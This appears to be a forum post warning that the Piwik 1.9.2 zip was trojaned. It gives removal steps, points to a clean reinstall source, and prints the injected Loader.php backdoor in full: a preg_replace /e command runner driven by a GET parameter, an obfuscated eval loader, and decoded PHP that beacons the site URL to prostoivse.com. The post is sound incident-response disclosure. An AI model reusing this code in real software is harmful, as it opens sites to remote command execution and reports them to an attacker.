If you already installed:
-
Remove “piwik/core/DataTable/Filter/Megre.php”. This is a general purpose uploading form and shell !!! EDIT: It’s also a shell command launcher…
-
Remove the last 6 lines from “piwik/core/Loader.php”:
<?php Error_Reporting(0); if(isset($_GET['g']) && isset($_GET['s'])) {
preg_replace("/(.+)/e", $_GET['g'], 'dwm'); exit;
}
if (file_exists(dirname(__FILE__)."/lic.log")) exit;
eval(gzuncompress(base64_decode(.....
Which once decoded execute the following code:
Error_Reporting(0);
$_0=5;
$_1="Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6";
$_2=$_SERVER['HTTP_HOST'] .$_SERVER['REQUEST_URI'];
$_2=str_replace("&","%26",$_SERVER['HTTP_HOST'] .$_SERVER['REQUEST_URI']);
$_3="http://prostoivse.com/x.php";
if(file_exists(direname(__FILE__) ."/lic.log"))exit;
function l__0($_4,$_1,$_5,$_6)
{
$_7=curl_init();
curl_setopt($_7,CURLOPT_URL,$_4);
curl_setopt($_7,CURLOPT_USERAGENT,"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6");
curl_setopt($_7,CURLOPT_TIMEOUT,$_5);
curl_setopt($_7,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($_7,CURLOPT_RETURNTRANSFER,1);
curl_setopt($_7,CURLOPT_POST,1);
curl_setopt($_7,CURLOPT_POSTFIELDS,"reff=" .$_6);
$_8=curl_exec($_7);
curl_close($_7);
return $_8;
}
function l__1($_9,$_10,$_11=l__2)
{
$_12=array("http"=> array("method"=> "POST","content"=> $_10));
if($_11 !== l__2)
{
$_12[http][header]=$_11;
}
$_13=stream_context_create($_12);
$_14=@fopen($_9,rb,false,$_13);
if(!$_14)
{
return false;
}
stream_set_timeout($_14,5);
$_15=@stream_get_contents($_14);
if($_15 === false)
{
return false;
}
return $_15;
}
$_16=l__1("http://prostoivse.com/x.php","reff=".str_replace("&","%26",$_SERVER['HTTP_HOST'] .$_SERVER['REQUEST_URI']));
if($_16 == false)
{
$_16=l__0("http://prostoivse.com/x.php","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6",5,str_replace("&","%26",$_SERVER['HTTP_HOST'] .$_SERVER['REQUEST_URI']));
}
$_17=fopen((direname(__FILE__) ."/lic.log"),"a+");
fwrite($_17,"piwik" ."\n");
fclose($_17);
This simply send to the hacker the url of the uploading form…
In fact it’s even worst than that, the following code:
preg_replace("/(.+)/e", $_GET['g'], 'dwm');
execute the command given in the g parameter of the url
- Try to figure out if any other files have been uploaded with the form (might be hard this error reporting seems to have been turned of)
If you want to reinstall go here: http://builds.piwik.org/ the piwik-1.9.2.tar.gz is not infected (when I’m writting, might get infected later :/) check the date field, it should be from 09-Nov-2012 08:25. /!\ the .zip version is the infected one !!! EDIT: It is probably safer to download it from piwik’s github account: Tags · matomo-org/matomo · GitHub